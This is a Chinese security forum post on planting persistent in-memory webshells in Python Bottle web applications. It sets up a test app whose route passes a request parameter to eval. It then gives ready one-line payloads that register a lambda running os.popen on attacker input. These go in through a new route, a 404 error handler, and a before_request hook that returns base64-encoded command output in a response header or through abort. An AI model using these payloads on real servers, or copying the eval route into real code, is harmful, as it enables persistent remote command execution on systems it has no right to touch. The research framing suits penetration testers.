问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
探寻Bottle框架内存马
渗透测试
在某次测试时候 碰见了一个叫bottle的框架 于是探寻了下在实际中可应用的注入内存马的方法
探寻Bottle框架内存马 ------------- 0x00 环境搭建 --------- 我们直接pip3 install bottle下载最新版本即可 然后在这里写一段代码,手动添加一条测试路由大概如下 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f9df71cdfe9a09330d9044135084075849a11b6c.png) ```php #!/usr/bin/env python \# -\*- coding:utf-8 -\*- from bottle import template, Bottle,request,error app = Bottle() @error(404) @app.route('/memshell') def index(): result = eval(request.params.get('cmd')) return template('Hello {{result}}, how are you?',result) @app.route('/') def index(): return 'Hello world' if __name__ == '__main__': app.run(host='0.0.0.0', port=8888,debug=True) ``` 在cmd我们可以执行python代码 即可开始测试 0x01 Bottle路由规则 --------------- 我对内存马的理解就是注入一段执行命令的代码,把他找一个回显位点或者说绑定一个自定义的路由 在这之前 我们要理清整个框架的路由如何解析 方便我们日后的自定义路由的绑定 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9b92d388774624193dc0276dcdd45b9bb2206241.png) 首先在装饰器的使用 直接调用一个route函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9f43149916fa667e8199a0ae2a865743e49c7f39.png) 我们跟进来看 他其实有很多默认的参数 在不看代码前 我们在看文档描述其实就能知道意义 首先我们传进去的 如图所示的 /memshell 就是我们的path 跟进代码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6210e5b630ad659392a9ff51b7783c70a7dfdbd3.png) 可以看到 在一开始他进行了一个判断 如果 `path` 是一个可调用对象(例如一个函数),则交换 `path` 和 `callback` 的角色,将原本作为 `path` 的值赋给 `callback`,并将 `path` 设置为 `None` 这个其实我们也很好理解就是他会进行动态判断传入参数的类型 进行赋值,当你看到callback的时候 其实就会想到如果我们可以自定义一个函数 传进去 就能进行一个绑定的结果 但我们先别急 继续看完代码 剩下的代码定义了一个装饰器decorator函数 专门用来接收callback参数 然后下面一段都是生成路由的规则 我们可以看到最后通过创建一个Route对象 来完成路由的创建 最后走进add\_route函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7e43a779c1b02935732f626c3ed1874ea78ac83e.png) 对路由的规则和方法进行添加 以此完成最后的创建 0x02 如何使用callback ----------------- 我们知道路由里面可以传入一个callback作为一个回调函数 或者说处理请求的函数 但是在路由本身解析的过程 他本意是与用户自定义一个函数进行绑定 看起来我们好像没什么办法了 所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数 经过搜索我发现了python自己默认自带的lambda表达式 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-77b8ea1cafdaf0d892d034991318d12b92b65d31.png) 他的语法非常简单而且还能省略arguments 参数 可以直接使用这种方式 `lambda : print(1)` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-cb8851187cf376a976821d57a4a56b91f630f7f5.png) 所以我的poc如上 我执行print(1) 我发现访问/b路由 他是一片空白的 在我们启动端 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e12e0ed8424002784dd87bafff76e95616f31f18.png) 是看到可以成功执行的命令的 所以我们注入路由是可行的,而且lambda表达式也是可以的 0x03 思路(1) 直接绑定路由 ----------------- 有了这个思路 我直接手动引入os执行命令 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b2cb6cc1ea8572c4ec585213f8b19a6b445144f8.png) 再访问/b路由 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f965ddc00e7e571266c39f42ed0e3ba899836637.png) 可以看到能够成功完全可以 而且页面也是有回显的 这个很好理解 本身我们的路由就是和回调函数绑定的 所以执行的命令 也会直接回显在路由上 这个思路我们不需要找其他回显之类的就可以进行命令执行 那么接下来的操作就是让popen传进去的参数可控就可以了 `app.route("%2Fb"%2C"GET"%2Clambda%20%3A__import__(%27os%27).popen(request.params.get('a')).read())` poc如上即可 你使用这种 也是完全可以的 request.query.get('a') 0x04 思路(2) 利用一些错误页面 ------------------- 很多时候框架都会自定义一些错误页面 比如404 会有对应的输出 所以我翻阅了下 bottle框架的对应源码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-bbf689f88adf8c4fb85b621366941510ac2e909e.png) `@error()` 装饰器实际上是注册一个错误处理函数,用于捕获特定的 HTTP 错误。错误处理函数会接受一个 `response` 对象和错误信息,并允许你自定义返回的错误页面或日志 他通过wrapper函数传入 handler 把他与code错误码进行匹配 其实handler就是一个函数的意思 如果你在正常写代码自定义错误信息你可以通过这种方式 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8a2d307d24547ae363bf6581e68b61da7674e6f3.png) 但是我们使用时候肯定依旧不能调用自定义函数 阅读代码发现如果你直接调用error方法 他其实是会返回一个wrapper函数的 而wrapper函数的参数就是我们自定义的函数 所以也就是我们可以 `app.error(404)(lambda e: print(1))` 构造poc如上即可 接下来就是简单的引入os即可 最终poc `app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())` 0x05 思路(3) 利用hook ----------------- 翻阅文章看到一些师傅提到了python很多框架都内置了一些hook函数 于是我也阅读了下Bottle环境的相关Hook源码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3d48640a8fda93d540d184f6856f20f39dac1277.png) Hook就相当于一个事件 当这个事件发生的时候就会触发这个事件执行 比如图中有请求前 请求后 请求重启等事件的触发 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-daaa43b9c5c8b7c22afd73d56d0d5160c46630da.png) 在这里可以看到对bottle框架的hook进行操作 在添加时候我们可以看到他专门有一个参数就是func 也就是执行的函数 我们随便选一种好触发的 比如`before_request` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8bf2b96d4b451ee13529171b0bfc1e6ed5c0d99d.png) 我们手动添加`add_hook` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-89e3ae0173f90a13a18eb1893c6845d3a4daef97.png) 再进行访问发现果然会触发函数 但是在这种操作情况下 最难的就是该如何创建回显呢? 一些ctf经验告诉我 其实可以做一种类似半回显的办法 就是比如 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3825b569bc51f6fee686aa5c6b82fbe0c9b29776.png) 我们其实是有响应头的 如果我们控制在响应头来进行回显 如果想要控制响应头我们一定要关注一个操作对象 就是相应的reponse对象 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ab1456b53617f5b5858247d54819cfee5439b1b4.png) 可以很容易找到BaseResponse类 稍微简单翻阅就可以看到 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b20e6e50675f3c6415dc868798c7b6bd191a684b.png) 这个有`set_header`可以方便我们设置name 和值了 那现在关键点就在于如何调用到response对象 或者说操纵response对象 我们在使用bottle框架他内置了response对象 也就是我们import之后就可以直接调用 那我们其实也可以直接使用`__import__`引入 `__import__('bottle').response` 就可以了 最后poc `app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))` 在这里我怕执行命令的时候有什么字符会影响正常运行 所以套一层base64编码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ea24f82fde7fadafed904845020ec0a388a9fc7b.png) 可以发现能够成功回显在响应头里 但其实在目前我们的视野拓展到可以控制Bottle框架内置的一些函数的话 就可以再多看看 我注意到bottle框架中的一个内置函数abort ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6f453096cdec8d27e321a508b2928ec2c5123a42.png) 不仅是因为他可以触发一个异常 而且他第二个参数是我们可控回显在页面上的 所以我构造如下的poc ```php app.add_hook(%27before_request%27,%20lambda:%20__import__(%27bottle%27).abort(404,__import__(%27os%27).popen(request.query.get(%27a%27)).read())) ``` 这样跟前面的利用错误很相像 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d61fed00953ce9f0af7551d1ae97aaff07fe0edf.png) 这样访问一个不存在的路由的的时候他就会触发 但测试的时候发现有个弊端 因为注入的时候触发了异常 所以会严重影响业务,所以可能用处不是特别大,只当学习拓展了 后记&&参考链接 ---------------- 感谢天工实验室的师傅 发表的这篇文章<https://research.qianxin.com/archives/2329> 让我在探索时候有了很多灵感
发表于 2025-01-17 10:00:01
阅读 ( 506 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Massa
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!